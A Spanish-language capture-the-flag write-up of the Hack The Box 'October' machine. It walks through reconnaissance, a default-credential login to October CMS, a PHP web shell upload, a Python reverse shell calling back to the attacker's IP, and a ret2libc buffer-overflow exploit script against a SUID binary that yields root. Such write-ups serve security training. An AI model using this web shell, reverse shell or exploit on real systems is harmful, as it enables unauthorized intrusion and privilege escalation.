Hack The Box October
October
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.16.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.16
PING 10.10.10.16 (10.10.10.16) 56(84) bytes of data.
64 bytes from 10.10.10.16: icmp_seq=1 ttl=63 time=140 ms
--- 10.10.10.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 139.771/139.771/139.771/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.16 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 21:39 CDT
Initiating SYN Stealth Scan at 21:39
Scanning 10.10.10.16 [65535 ports]
Discovered open port 80/tcp on 10.10.10.16
Discovered open port 22/tcp on 10.10.10.16
Completed SYN Stealth Scan at 21:40, 26.91s elapsed (65535 total ports)
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.30s latency).
Scanned at 2021-09-20 21:39:45 CDT for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.43 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 30 (1.320KB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.16
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nmap -sC -sV -p22,80 10.10.10.16 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 21:41 CDT
Nmap scan report for 10.10.10.16
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds
Vemos que se encuentra el servicio HTTP, por lo que ya sabemos que debemos de ver que tecnologías corren mediante el uso de la herramienta whatweb
:
1
2
❯ whatweb http://10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]
Algo que nos llama la atención es el título October CMS - Vanilla ya que hace referencia a un gestor de contenido. Investigando un poco, vemos que se trata de un CMS (gestor de contenido); por lo que es posible que tenga un panel de administracion asociado:
Vemos que en el recurso /backend
se debe encontrar el panel de adminsitración.
Y efectivamente, tenemos el panel de administración. Ahora, antes de tirar fuerza bruta o cualquier otra cosa, tenemos que ver si existen credenciales por defecto.
Vemos que comentan que las credenciales son admin:admin; así que vamos a probarlas:
Ya estamos dentro del panel de administración del sitio web. Ahora debemos de buscar alguna forma de ingresar a la máquina víctima; si intentamos crear un archivo de extensión php
, vemos que no nos deja; por lo tanto, tenemos que validar que extensiones permite el servidor. En la parte superior izquierda vemos varias opciones, podemos ingresar a Media y vemos algo curioso, un archivo de extensión php5
; si lo seleccionamos vemos unas opciones del lado derecho y si le damos en Click here, nos abre el recurso dr.php5
.
Así que podemos crearnos un archivo con extensión php5
y subirlo al servidor:
1
2
3
4
5
6
7
❯ cat k4mishell.php5
───────┬───────────────────────────────────────────────────────────
│ File: k4mishell.php5
───────┼───────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
3 │ ?>
Le damos en la opción Click here, se nos abre otra ventana en donde se encuentra nuestro archivo php. Ahora mediante la variable cmd
podemos ejecutar comandos a nivel de sistema.
Ahora debemos entablarnos una reverse shell a nuestra máquina de atacante. Probando las reverse shell de pentestmonkey, vemos que Netcat no nos deja, así que vamos por otras vías alternativas; como por ejemplo python. Antes de lanzar la reverse shell, vamos a validar si la máquina cuenta con python:
Ahora si, lanzamos la reverse shell y nos ponemos en escucha por el puerto 443:
1
http://10.10.10.16/storage/app/media/k4mishell.php5?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
1
2
3
4
5
6
7
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.16] 49506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
No encontramos dentro de la máquina como el usuario www-data y podemos visualizar la flag (user.txt). Como siempre, para trabajar más comodos, hacemos un Tratamiento de la tty. Ahora nos queda escalar privilegios y enumeramos un poco el sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@october:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@october:/$ sudo -l
[sudo] password for www-data:
www-data@october:/$ cd /
www-data@october:/$ find \-perm -4000 2>/dev/null
./bin/umount
./bin/ping
./bin/fusermount
./bin/su
./bin/ping6
./bin/mount
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/bin/sudo
./usr/bin/newgrp
./usr/bin/pkexec
./usr/bin/passwd
./usr/bin/chfn
./usr/bin/gpasswd
./usr/bin/traceroute6.iputils
./usr/bin/mtr
./usr/bin/chsh
./usr/bin/at
./usr/sbin/pppd
./usr/sbin/uuidd
./usr/local/bin/ovrflw
www-data@october:/$
Vemos un archivo curioso que tiene permisos SUID /usr/local/bin/ovrflw
, que ya por el nombre nos hace referencia a Buffer Overflow y al ejecutarlo vemos que nos pide ingresar una cadena de texto.
1
2
3
www-data@october:/$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
www-data@october:/$
Validamos el archivo randomize_va_space
y vemos que tiene un 2; por lo que el ASLR (Address Space Layout Randomization) se encuentra activado; lo que dispone de forma aleatoria las posiciones del espacio de direcciones de las áreas de datos clave de un proceso, incluyendo la base del ejecutable y las posiciones de la pila, el heap y las librerías.
1
2
3
www-data@october:/$ cat /proc/sys/kernel/randomize_va_space
2
www-data@october:/$
Para el análisis del binario, vamos a hacer uso de la herramienta peda.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ git clone https://github.com/longld/peda
Clonando en 'peda'...
remote: Enumerating objects: 382, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 382 (delta 2), reused 2 (delta 0), pack-reused 373
Recibiendo objetos: 100% (382/382), 290.84 KiB | 1.21 MiB/s, listo.
Resolviendo deltas: 100% (231/231), listo.
❯ tar -cf peda.tar peda
❯ ll
drwxr-xr-x root root 142 B Tue Sep 21 00:47:20 2021 peda
.rw-r--r-- root root 65 B Mon Sep 20 22:14:52 2021 k4mishell.php5
.rw-r--r-- root root 660 KB Tue Sep 21 00:47:39 2021 peda.tar
Ahora le pasamos el archivo peda.tar
a la máquina víctima.
1
2
3
4
5
6
7
8
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.16 - - [21/Sep/2021 00:49:51] "GET /peda.tar HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
❯
❯ md5sum peda.tar
0eb8ec6cc2974c84768b1ae816b6bf55 peda.tar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@october:/dev/shm$ wget http://10.10.14.16/peda.tar
--2021-09-21 08:54:36-- http://10.10.14.16/peda.tar
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 675840 (660K) [application/x-tar]
Saving to: 'peda.tar'
100%[=======================================================================================>] 675,840 834KB/s in 0.8s
2021-09-21 08:54:37 (834 KB/s) - 'peda.tar' saved [675840/675840]
www-data@october:/dev/shm$ md5sum peda.tar
0eb8ec6cc2974c84768b1ae816b6bf55 peda.tar
www-data@october:/dev/shm$
Descomprimimos el archivo transferido:
1
2
3
4
5
6
7
8
www-data@october:/dev/shm$ tar -xf peda.tar
www-data@october:/dev/shm$ ls -la
total 660
drwxrwxrwt 3 root root 80 Sep 21 08:56 .
drwxr-xr-x 20 root root 680 Sep 21 08:14 ..
drwxr-xr-x 4 www-data www-data 200 Sep 21 08:47 peda
-rw-r--r-- 1 www-data www-data 675840 Sep 21 08:47 peda.tar
www-data@october:/dev/shm$
Ahora instalamos peda
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@october:/dev/shm$ echo $HOME
www-data@october:/dev/shm$ export HOME=/dev/shm
www-data@october:~$ echo $HOME
/dev/shm
www-data@october:~$ echo "source ~/peda/peda.py" >> ~/.gdbinit
www-data@october:~$ ls -la
total 664
drwxrwxrwt 3 root root 100 Sep 21 08:59 .
drwxr-xr-x 20 root root 680 Sep 21 08:14 ..
-rw-r--r-- 1 www-data www-data 22 Sep 21 08:59 .gdbinit
drwxr-xr-x 4 www-data www-data 200 Sep 21 08:47 peda
-rw-r--r-- 1 www-data www-data 675840 Sep 21 08:47 peda.tar
www-data@october:~$
www-data@october:~$ gdb
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda$
Procedemos al análisis del binario /usr/local/bin/ovrflw
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
www-data@october:~$ gdb /usr/local/bin/ovrflw -q
Reading symbols from /usr/local/bin/ovrflw...(no debugging symbols found)...done.
gdb-peda$
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x080482f4 _init
0x08048330 printf@plt
0x08048340 strcpy@plt
0x08048350 __gmon_start__@plt
0x08048360 exit@plt
0x08048370 __libc_start_main@plt
0x08048380 _start
0x080483b0 __x86.get_pc_thunk.bx
0x080483c0 deregister_tm_clones
0x080483f0 register_tm_clones
0x08048430 __do_global_dtors_aux
0x08048450 frame_dummy
0x0804847d main
0x080484d0 __libc_csu_init
0x08048540 __libc_csu_fini
0x08048544 _fini
gdb-peda$
gdb-peda$ disass main
Dump of assembler code for function main:
0x0804847d <+0>: push ebp
0x0804847e <+1>: mov ebp,esp
0x08048480 <+3>: and esp,0xfffffff0
0x08048483 <+6>: add esp,0xffffff80
0x08048486 <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x0804848a <+13>: jg 0x80484ad <main+48>
0x0804848c <+15>: mov eax,DWORD PTR [ebp+0xc]
0x0804848f <+18>: mov eax,DWORD PTR [eax]
0x08048491 <+20>: mov DWORD PTR [esp+0x4],eax
0x08048495 <+24>: mov DWORD PTR [esp],0x8048560
0x0804849c <+31>: call 0x8048330 <printf@plt>
0x080484a1 <+36>: mov DWORD PTR [esp],0x0
0x080484a8 <+43>: call 0x8048360 <exit@plt>
0x080484ad <+48>: mov eax,DWORD PTR [ebp+0xc]
0x080484b0 <+51>: add eax,0x4
0x080484b3 <+54>: mov eax,DWORD PTR [eax]
0x080484b5 <+56>: mov DWORD PTR [esp+0x4],eax
0x080484b9 <+60>: lea eax,[esp+0x1c]
0x080484bd <+64>: mov DWORD PTR [esp],eax
0x080484c0 <+67>: call 0x8048340 <strcpy@plt>
0x080484c5 <+72>: mov eax,0x0
0x080484ca <+77>: leave
0x080484cb <+78>: ret
End of assembler dump.
gdb-peda$
Vemos que se encuentra habilitado NX, el cual es como el DEP (Data Execution Prevention) de Windows que impide que una aplicación o servicio se ejecute desde una región de memoria no ejecutable; por lo tanto, no podemos cargar nuestro payload malicioso porque no se nos va a interpretar.
Además vemos el uso de la función strcpy
el cual en caso de no estar sanitizada la entrada del usuario, puede ocacionar un buffer overflow. Esto lo podemos ver ejecutando el programa desde peda
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
gdb-peda$ r $(python -c 'print "A"*500')
Starting program: /usr/local/bin/ovrflw $(python -c 'print "A"*500')
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7756000 --> 0x1abda8
ECX: 0xbfc83e70 ('A' <repeats 13 times>)
EDX: 0xbfc82a43 ('A' <repeats 13 times>)
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbfc828d0 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbfc828d0 ('A' <repeats 200 times>...)
0004| 0xbfc828d4 ('A' <repeats 200 times>...)
0008| 0xbfc828d8 ('A' <repeats 200 times>...)
0012| 0xbfc828dc ('A' <repeats 200 times>...)
0016| 0xbfc828e0 ('A' <repeats 200 times>...)
0020| 0xbfc828e4 ('A' <repeats 200 times>...)
0024| 0xbfc828e8 ('A' <repeats 200 times>...)
0028| 0xbfc828ec ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
gdb-peda$ i r
eax 0x0 0x0
ecx 0xbf9c4e70 0xbf9c4e70
edx 0xbf9c3bf3 0xbf9c3bf3
ebx 0xb76f0000 0xb76f0000
esp 0xbf9c3a80 0xbf9c3a80
ebp 0x41414141 0x41414141
esi 0x0 0x0
edi 0x0 0x0
eip 0x41414141 0x41414141
eflags 0x10202 [ IF RF ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb-peda$
Como podemos ver, el programa nos manda la leyenda Segmentation fault y vemos que los registros ebp
y eip
han cambiado su valor por la cadena que le introducimos “A - (0x41)”. Por lo tanto, necesitamos saber cual es el límite antes de cambiar los registros; ésto lo podemos lograr con el comando pattern_create
desde peda
:
1
2
3
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$
Ahora copiamos la cadena obtenida y la pasamos como argumento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8A
ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A
%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA
%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
Starting program: /usr/local/bin/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5
AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%n
A%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%R
A%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsI
AseAs4AsJAsfAs5AsKAsgAs6A'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7783000 --> 0x1abda8
ECX: 0xbfcdfe70 ("As5AsKAsgAs6A")
EDX: 0xbfcddc73 ("As5AsKAsgAs6A")
ESI: 0x0
EDI: 0x0
EBP: 0x6941414d ('MAAi')
ESP: 0xbfcddb00 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xbfcddb00 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
0004| 0xbfcddb04 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0xbfcddb08 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%"...)
0012| 0xbfcddb0c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0xbfcddb10 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA"...)
0020| 0xbfcddb14 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0xbfcddb18 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%Q"...)
0028| 0xbfcddb1c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$
Ahora, tomamos la última dirección que se nos muestra 0x41384141 in ?? ()
y ocupamos el comando pattern_offset
para determinar la longitud del buffer antes de que se cambien los registros.
1
2
3
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
gdb-peda$
Para este caso, vemos que el buffer tiene un tamaño de 112; es decir, que la longitud de caracteres antes de modificar el valor del registro ebp
es de 112. Para modificar el valor del registro eip
es el buffer(112) + ebp(4).
Checando las librerías compartidas del programa, vemos lo siguiente:
1
2
3
4
5
www-data@october:~$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb77fe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7644000)
/lib/ld-linux.so.2 (0x8003c000)
www-data@october:~$
En este caso, tenemos libc, por lo que debemos ya estar pensando en un Ret2libc, que es una técnica que se basa en ejecutar código que no se encuentra en la pila sino en un sector de la memoria de libc, que es ejecutable; es decir, el código utilizado para vulnerar el programa son funciones dentro de esta librería.
Una forma de ver el ASLR es ejecutando el comando ldd
y podemos ver como las direcciones van cambiando, pero hay que tener en cuenta que las direcciones se repiten de forma aleatoria; esto es un punto importante que debemos tener en cuenta para la explotación del Buffer Overflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@october:~$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb777b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000)
/lib/ld-linux.so.2 (0x80050000)
www-data@october:~$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb7781000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c7000)
/lib/ld-linux.so.2 (0x800dc000)
www-data@october:~$
www-data@october:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/ovrflw; done | grep libc | awk 'NF{print $NF}' | tr -d '()' | grep 0xb75c7000
0xb75c7000
0xb75c7000
www-data@october:~$
Ahora, para nuestro script de buffer overflow debemos tener presente la siguiente secuencia de envío de datos:
- Junk: Los datos a introducir que llenan el buffer, para este caso son 112 caracteres.
- Payload: Llamada a la librería libc la cual cuenta con funciones útiles. Esta se divide en tres partes:
- System address: La dirección de la llamada a la función system.
- Exit address: La dirección del código de estado.
- Binario address: La dirección de la
/bin/sh
que utilizaremos para que root nos la ejecute.
Debido a que se está aplicando ASLR, debemos obtener la dirección base de libc que para este caso será 0xb75c7000
(este valor se obtiene ejecutando el comando ldd
). Ahora debemos de obtener las direciones de las funciones system address y exit address a la librería libc.
1
2
3
4
www-data@october:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "\ssystem|\sexit"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
www-data@october:~$
Por útimo nos falta la dirección de la /bin/sh
de la librería libc:
1
2
3
www-data@october:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
162bac /bin/sh
www-data@october:~$
Retomando todo lo anterior, tenemos lo siguiente:
- offset = 112
- base_libc = 0xb75c7000
- junk = “A”*offset
- system_addr_offset = 0x00040310
- exit_addr_offset = 0x00033260
- bin_sh_addr_offset = 0x00162bac
Debido al ASLR, para calcular las direcciones reales para cuando base_libc vale 0xb75c7000
tenemos que sumarles dicho valor a los offsets de la funciones:
- system_addr = base_libc + system_addr_offset
- exit_addr = base_libc + exit_addr_offset
- bin_sh_addr = base_libc + bin_sh_addr_offset
Y el valor del payload completo sería:
- payload = junk + system_addr + exit_addr + bin_sh_addr
Ahora si, con todo esto, ya podemos armar nuestro programa en python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
import sys
from struct import pack
from subprocess import call
if __name__ == '__main__':
base_libc = 0xb75c7000
offset = 112
junk = "A"*offset
# ret2libc -> system_addr + exit_addr + bin_sh_addr
system_addr_offset = 0x00040310
exit_addr_offset = 0x00033260
bin_sh_addr_offset = 0x00162bac
system_addr = pack("<I", base_libc + system_addr_offset)
exit_addr = pack("<I", base_libc + exit_addr_offset)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_offset)
payload = junk + system_addr + exit_addr + bin_sh_addr
while True:
ret = call(["/usr/local/bin/ovrflw", payload])
if ret == 0:
print "\n[!] Saliendo..."
sys.exit(0)
Como el programa tiene permisos SUID, podemos ejecutarlo temporalmente como el propietario, en este caso root. Ejecutamos el script que hicimos y tenemos que esperar a que el valor de libc sea el que nosotros le indicamos; para este caso 0xb75c7000
. En caso de que llevemos un buen rato y no vemos el símbolo #
de la /bin/sh
, podríamos probar con otro valor de libc sin alterar el programa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@october:~$ python bof.py
*** Error in `/usr/local/bin/ovrflw': munmap_chunk(): invalid pointer: 0xbff7fe7b ***
*** Error in `/usr/local/bin/ovrflw': free(): invalid pointer: 0x08048380 ***
*** Error in `/usr/local/bin/ovrflw': munmap_chunk(): invalid pointer: 0xbfb91e7b ***
Syntax: Z
$$D$
<input string>
ovrflw: uv
:3217394944: 6#: Assertion `' failed.
Syntax: Z
$$D$
<input string>
# whoami
root
#
A este punto ya somos el usuario root y podemos visualizar la flag (root.txt).